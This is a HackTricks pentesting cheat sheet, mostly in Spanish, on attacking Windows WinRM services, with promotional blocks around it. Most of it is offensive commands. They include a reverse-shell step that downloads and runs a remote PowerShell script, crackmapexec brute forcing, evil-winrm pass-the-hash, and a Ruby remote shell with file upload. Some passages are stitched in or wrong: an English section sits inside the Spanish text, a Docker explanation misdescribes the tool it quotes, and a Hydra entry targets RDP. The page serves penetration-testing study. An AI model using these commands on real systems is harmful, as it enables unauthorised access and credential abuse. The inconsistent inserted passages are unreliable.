hacktricks/network-services-pentesting/5985-5986-pentesting-winrm.md

# 5985,5986 - Pentesting WinRM

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>

<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

**HackenProof es el hogar de todas las recompensas por errores de criptografía.**

**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

**Obtén experiencia en pentesting web3**\
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

## WinRM

[Windows Remote Management](https://msdn.microsoft.com/en-us/library/windows/desktop/aa384426\(v=vs.85\).aspx) (WinRM) es un protocolo de Microsoft que **permite la administración remota de máquinas Windows** a través de HTTP(S) utilizando SOAP. En el backend, utiliza WMI, por lo que se puede pensar en él como una API basada en HTTP para WMI.

Si WinRM está habilitado en la máquina, es trivial administrarla de forma remota desde PowerShell. De hecho, puedes ingresar a una sesión remota de PowerShell en la máquina (¡como si estuvieras usando SSH!)

La forma más sencilla de detectar si WinRM está disponible es verificando si el puerto está abierto. WinRM escuchará en uno de estos dos puertos:

* **5985/tcp (HTTP)**
* **5986/tcp (HTTPS)**

Si alguno de estos puertos está abierto, WinRM está configurado y puedes intentar ingresar a una sesión remota.

## **Iniciando una sesión de WinRM**.

Podemos configurar PowerShell para que funcione con WinRM. Según la documentación de Microsoft, Enable-PSRemoting es un cmdlet que configura la computadora para recibir comandos remotos de PowerShell. Si tenemos acceso a un símbolo del sistema de PowerShell elevado en la víctima, podemos habilitarlo y agregar cualquier "atacante" como hosts de confianza. Podemos ejecutar los siguientes dos comandos:
```
Enable-PSRemoting -Force
Set-Item wsman:\localhost\client\trustedhosts *
```
Esto agrega un comodín a la configuración de trustedhosts. Ten cuidado con lo que eso implica. _Nota: También tuve que cambiar el tipo de red en mi máquina de ataque de "Pública" a "Red de trabajo"._

También puedes **activar** WinRM de forma **remota** _\*\*\_usando \_wmic_:
```
wmic /node:<REMOTE_HOST> process call create "powershell enable-psremoting -force"
```
### Prueba si está configurado

Una vez que la máquina de ataque esté configurada, utiliza la función `Test-WSMan` para comprobar si el objetivo está configurado para WinRM. Deberías ver información devuelta sobre la versión del protocolo y wsmid:

![](<../.gitbook/assets/image (161) (1).png>)

![](<../.gitbook/assets/image (162).png>)

En este caso, el primero está configurado y el segundo no lo está.

### Ejecutar un comando

Ahora podemos utilizar el comando `Invoke-Command` de PowerShell para ejecutar de forma remota un comando en el objetivo a través de WinRM. Para ejecutar de forma remota `ipconfig` y ver la salida:
```
Invoke-Command -computername computer-name.domain.tld -ScriptBlock {ipconfig /all} [-credential DOMAIN\username]
```
![](<../.gitbook/assets/image (163) (1).png>)

También puedes **ejecutar un comando de tu consola PS actual a través de** _**Invoke-Command**_. Supongamos que tienes localmente una función llamada _**enumeration**_ y quieres **ejecutarla en un equipo remoto**, puedes hacerlo de la siguiente manera:
```ruby
Invoke-Command -ComputerName <computername> -ScriptBLock ${function:enumeration} [-ArgumentList "arguments"]
```
### Ejecutar un Script

To execute a script using WinRM, you can use the `Invoke-Command` cmdlet. This cmdlet allows you to run commands or scripts on remote computers.

```powershell
Invoke-Command -ComputerName <target> -ScriptBlock { <script> }
```

Replace `<target>` with the IP address or hostname of the target machine, and `<script>` with the path to the script you want to execute.

For example, to execute a PowerShell script named `script.ps1` on a remote machine with the IP address `192.168.0.100`, you would use the following command:

```powershell
Invoke-Command -ComputerName 192.168.0.100 -ScriptBlock { C:\path\to\script.ps1 }
```

This will execute the script on the remote machine and return the output to your local machine.

Keep in mind that you need appropriate permissions and credentials to execute scripts on remote machines.
```ruby
Invoke-Command -ComputerName <computername> -FilePath C:\path\to\script\file [-credential CSCOU\jarrieta]
```
### Obtener una shell inversa

Una shell inversa es una técnica utilizada en la pentesting para obtener acceso remoto a un sistema comprometido. Permite al atacante ejecutar comandos en el sistema objetivo desde su propia máquina.

Para obtener una shell inversa a través de WinRM, puedes seguir los siguientes pasos:

1. Configura un servidor de escucha en tu máquina local. Puedes usar herramientas como `netcat` o `ncat` para esto.

2. Genera un payload malicioso que establezca una conexión de shell inversa. Puedes usar herramientas como `msfvenom` para crear el payload.

3. Envía el payload al sistema objetivo a través de WinRM. Puedes usar herramientas como `Invoke-WebRequest` o `curl` para esto.

4. Una vez que el payload se ejecute en el sistema objetivo, se establecerá una conexión de shell inversa con tu máquina local.

5. Ahora puedes ejecutar comandos en el sistema objetivo desde tu máquina local a través de la shell inversa.

Recuerda que el uso de técnicas de hacking como la obtención de una shell inversa sin el consentimiento explícito del propietario del sistema objetivo es ilegal y puede tener consecuencias legales graves. Solo debes realizar estas acciones en sistemas que tengas permiso para probar o en entornos controlados para fines educativos.
```ruby
Invoke-Command -ComputerName <computername> -ScriptBlock {cmd /c "powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.10.10:8080/ipst.ps1')"}
```
### Obtener una sesión de PS

O, si quieres ingresar directamente a una sesión interactiva de PowerShell, utiliza la función `Enter-PSSession`:
```powershell
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

# Enter
Enter-PSSession -ComputerName dcorp-adminsrv.dollarcorp.moneycorp.local [-Credential username]
## Bypass proxy
Enter-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
# Save session in var
$sess = New-PSSession -ComputerName 1.1.1.1 -Credential $creds -SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)
Enter-PSSession $sess
## Background current PS session
Exit-PSSession # This will leave it in background if it's inside an env var (New-PSSession...)
```
![](<../.gitbook/assets/image (164).png>)

**La sesión se ejecutará en un nuevo proceso (wsmprovhost) dentro de la "víctima"**

### **Forzando la apertura de WinRM**

Si realmente quieres usar PS Remoting y WinRM pero el objetivo no está configurado para ello, puedes "forzarlo" a través de un solo comando. No recomendaría esto, pero si realmente quieres usar WinRM o PSRemoting, hazlo de esta manera. Por ejemplo, usando PSExec:
```
PS C:\tools\SysinternalsSuite> .\PsExec.exe \\computername -u domain\username -p password -h -d powershell.exe "enable-psremoting -force"
```
Ahora podemos ingresar a una sesión de PS remota en la víctima.

### Guardando y restaurando sesiones

Esto **no funcionará** si el **idioma** está **restringido** en la computadora remota.
```ruby
#If you need to use different creds
$password=ConvertTo-SecureString 'Stud41Password@123' -Asplaintext -force
## Note the ".\" in the suername to indicate it's a local user (host domain)
$creds2=New-Object System.Management.Automation.PSCredential(".\student41", $password)

#You can save a session inside a variable
$sess1 = New-PSSession -ComputerName <computername> [-SessionOption (New-PSSessionOption -ProxyAccessType NoProxyServer)]
#And restore it at any moment doing
Enter-PSSession -Session $sess1
```
Dentro de estas sesiones puedes cargar scripts de PS usando _Invoke-Command_
```ruby
Invoke-Command -FilePath C:\Path\to\script.ps1 -Session $sess1
```
### Errores

Si encuentras el siguiente error:

`enter-pssession : Error al conectar con el servidor remoto 10.10.10.175 con el siguiente mensaje de error: El cliente WinRM no puede procesar la solicitud. Si el esquema de autenticación es diferente de Kerberos, o si el equipo cliente no está unido a un dominio, entonces se debe utilizar el transporte HTTPS o la máquina de destino debe agregarse a la configuración de TrustedHosts. Utiliza winrm.cmd para configurar TrustedHosts. Ten en cuenta que las computadoras en la lista de TrustedHosts pueden no estar autenticadas. Puedes obtener más información al ejecutar el siguiente comando: winrm help config. Para obtener más información, consulta el tema de ayuda about_Remote_Troubleshooting.`

La solución en el cliente (información de [aquí](https://serverfault.com/questions/657918/remote-ps-session-fails-on-non-domain-server)):
```ruby
winrm quickconfig
winrm set winrm/config/client '@{TrustedHosts="Computer1,Computer2"}'
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

**HackenProof es el hogar de todas las recompensas por errores de criptografía.**

**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.

[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

## Conexión WinRM en Linux

### Fuerza bruta

Ten cuidado, hacer fuerza bruta en WinRM podría bloquear a los usuarios.
```ruby
#Brute force
crackmapexec winrm <IP> -d <Domain Name> -u usernames.txt -p passwords.txt

#Just check a pair of credentials
# Username + Password + CMD command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -p <password> -x "whoami"
# Username + Hash + PS command execution
crackmapexec winrm <IP> -d <Domain Name> -u <username> -H <HASH> -X '$PSVersionTable'
#Crackmapexec won't give you an interactive shell, but it will check if the creds are valid to access winrm
```
### Usando evil-winrm

Evil-winrm es una herramienta de línea de comandos que se utiliza para realizar pruebas de penetración en servicios de Windows Remote Management (WinRM). Esta herramienta aprovecha las debilidades en la configuración de WinRM para obtener acceso no autorizado a sistemas remotos.

Para utilizar evil-winrm, primero debes instalarlo en tu máquina de ataque. Puedes hacerlo ejecutando el siguiente comando:

```
gem install evil-winrm
```

Una vez que hayas instalado evil-winrm, puedes usarlo para establecer una conexión con un sistema remoto. Para hacerlo, debes proporcionar la dirección IP del sistema objetivo, así como las credenciales de autenticación. Puedes usar el siguiente comando:

```
evil-winrm -i <IP_address> -u <username> -p <password>
```

Reemplaza `<IP_address>` con la dirección IP del sistema objetivo, `<username>` con el nombre de usuario válido y `<password>` con la contraseña correspondiente.

Una vez que hayas establecido una conexión exitosa, podrás ejecutar comandos en el sistema remoto y obtener acceso a sus recursos. Ten en cuenta que el uso de evil-winrm para acceder a sistemas sin autorización es ilegal y solo debe realizarse con el permiso del propietario del sistema.

Evil-winrm es una herramienta poderosa que puede ayudarte a identificar y explotar vulnerabilidades en los servicios de WinRM. Sin embargo, es importante utilizarla de manera ética y responsable, siguiendo las leyes y regulaciones aplicables.
```ruby
gem install evil-winrm
```
Lee la **documentación** en su github: [https://github.com/Hackplayers/evil-winrm](https://github.com/Hackplayers/evil-winrm)
```ruby
evil-winrm -u Administrator -p 'EverybodyWantsToWorkAtP.O.O.'  -i <IP>/<Domain>
```
Para usar evil-winrm para conectarse a una **dirección IPv6**, crea una entrada dentro de _**/etc/hosts**_ estableciendo un **nombre de dominio** para la dirección IPv6 y conéctate a ese dominio.

### Pasar el hash con evil-winrm
```ruby
evil-winrm -u <username> -H <Hash> -i <IP>
```
![](<../.gitbook/assets/image (173).png>)

### Usando una máquina PS-docker

La técnica de PS-docker es una forma eficaz de realizar pruebas de penetración en servicios de red que utilizan el protocolo WinRM. WinRM es un protocolo de administración remota de Windows que permite a los administradores controlar y administrar sistemas Windows de forma remota.

Para utilizar PS-docker, primero debes tener instalado Docker en tu máquina. Docker es una plataforma de contenedores que te permite empaquetar y distribuir aplicaciones en un entorno aislado. Una vez que hayas instalado Docker, puedes seguir los siguientes pasos:

1. Descarga la imagen de Docker que contiene PowerShell y WinRM. Puedes encontrar imágenes de Docker preconfiguradas en el repositorio de Docker Hub.

2. Crea un contenedor a partir de la imagen descargada. Puedes hacerlo ejecutando el siguiente comando en tu terminal:

   ```plaintext
   docker run -it --name winrm-container -p 5985:5985 -p 5986:5986 <nombre-de-la-imagen>
   ```

   Este comando crea un contenedor con el nombre "winrm-container" y mapea los puertos 5985 y 5986 del contenedor a los mismos puertos en tu máquina local.

3. Una vez que el contenedor esté en funcionamiento, puedes conectarte a él utilizando PowerShell remoto. Ejecuta el siguiente comando en tu terminal:

   ```plaintext
   Enter-PSSession -ComputerName <dirección-IP> -Port 5985 -Credential (Get-Credential)
   ```

   Reemplaza `<dirección-IP>` con la dirección IP de tu máquina local.

4. Ahora estás conectado al contenedor y puedes utilizar PowerShell para realizar pruebas de penetración en el servicio WinRM.

Recuerda que al utilizar PS-docker, estás ejecutando comandos en un entorno aislado, lo que significa que cualquier cambio o daño que hagas solo afectará al contenedor y no a tu máquina local. Esto hace que PS-docker sea una opción segura y conveniente para realizar pruebas de penetración en servicios de red.
```
docker run -it quickbreach/powershell-ntlm
$creds = Get-Credential
Enter-PSSession -ComputerName 10.10.10.149 -Authentication Negotiate -Credential $creds
```
### Usando un script de ruby

Código extraído de aquí: [https://alamot.github.io/winrm\_shell/](https://alamot.github.io/winrm\_shell/)
```ruby
require 'winrm-fs'

# Author: Alamot
# To upload a file type: UPLOAD local_path remote_path
# e.g.: PS> UPLOAD myfile.txt C:\temp\myfile.txt


conn = WinRM::Connection.new(
endpoint: 'https://IP:PORT/wsman',
transport: :ssl,
user: 'username',
password: 'password',
:no_ssl_peer_verification => true
)


class String
def tokenize
self.
split(/\s(?=(?:[^'"]|'[^']*'|"[^"]*")*$)/).
select {|s| not s.empty? }.
map {|s| s.gsub(/(^ +)|( +$)|(^["']+)|(["']+$)/,'')}
end
end


command=""
file_manager = WinRM::FS::FileManager.new(conn)


conn.shell(:powershell) do |shell|
until command == "exit\n" do
output = shell.run("-join($id,'PS ',$(whoami),'@',$env:computername,' ',$((gi $pwd).Name),'> ')")
print(output.output.chomp)
command = gets
if command.start_with?('UPLOAD') then
upload_command = command.tokenize
print("Uploading " + upload_command[1] + " to " + upload_command[2])
file_manager.upload(upload_command[1], upload_command[2]) do |bytes_copied, total_bytes, local_path, remote_path|
puts("#{bytes_copied} bytes of #{total_bytes} bytes copied")
end
command = "echo `nOK`n"
end
output = shell.run(command) do |stdout, stderr|
STDOUT.print(stdout)
STDERR.print(stderr)
end
end
puts("Exiting with code #{output.exitcode}")
end
```
## Shodan

* `port:5985 Microsoft-HTTPAPI`

## Referencias

* [https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/](https://blog.ropnop.com/using-credentials-to-own-windows-boxes-part-3-wmi-and-winrm/)

## Comandos Automáticos de HackTricks
```
Protocol_Name: WinRM    #Protocol Abbreviation if there is one.
Port_Number:  5985     #Comma separated if there is more than one.
Protocol_Description: Windows Remote Managment        #Protocol Abbreviation Spelled out

Entry_1:
Name: Notes
Description: Notes for WinRM
Note: |
Windows Remote Management (WinRM) is a Microsoft protocol that allows remote management of Windows machines over HTTP(S) using SOAP. On the backend it's utilising WMI, so you can think of it as an HTTP based API for WMI.

sudo gem install winrm winrm-fs colorize stringio
git clone https://github.com/Hackplayers/evil-winrm.git
cd evil-winrm
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p ‘MySuperSecr3tPass123!’

https://kalilinuxtutorials.com/evil-winrm-hacking-pentesting/

ruby evil-winrm.rb -i 10.10.10.169 -u melanie -p 'Welcome123!' -e /root/Desktop/Machines/HTB/Resolute/
^^so you can upload binary's from that directory        or -s to upload scripts (sherlock)
menu
invoke-binary `tab`

#python3
import winrm
s = winrm.Session('windows-host.example.com', auth=('john.smith', 'secret'))
print(s.run_cmd('ipconfig'))
print(s.run_ps('ipconfig'))

https://book.hacktricks.xyz/pentesting/pentesting-winrm

Entry_2:
Name: Hydra Brute Force
Description: Need User
Command: hydra -t 1 -V -f -l {Username} -P {Big_Passwordlist} rdp://{IP}
```
<figure><img src="../.gitbook/assets/image (1) (3) (1).png" alt=""><figcaption></figcaption></figure>

**HackenProof es el hogar de todas las recompensas por errores de criptografía.**

**Obtén recompensas sin demoras**\
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.

**Obtén experiencia en pentesting web3**\
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.

**Conviértete en la leyenda del hacker web3**\
Gana puntos de reputación con cada error verificado y conquista la cima de la tabla de clasificación semanal.

[**Regístrate en HackenProof**](https://hackenproof.com/register) ¡comienza a ganar con tus hacks!

{% embed url="https://hackenproof.com/register" %}

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).

</details>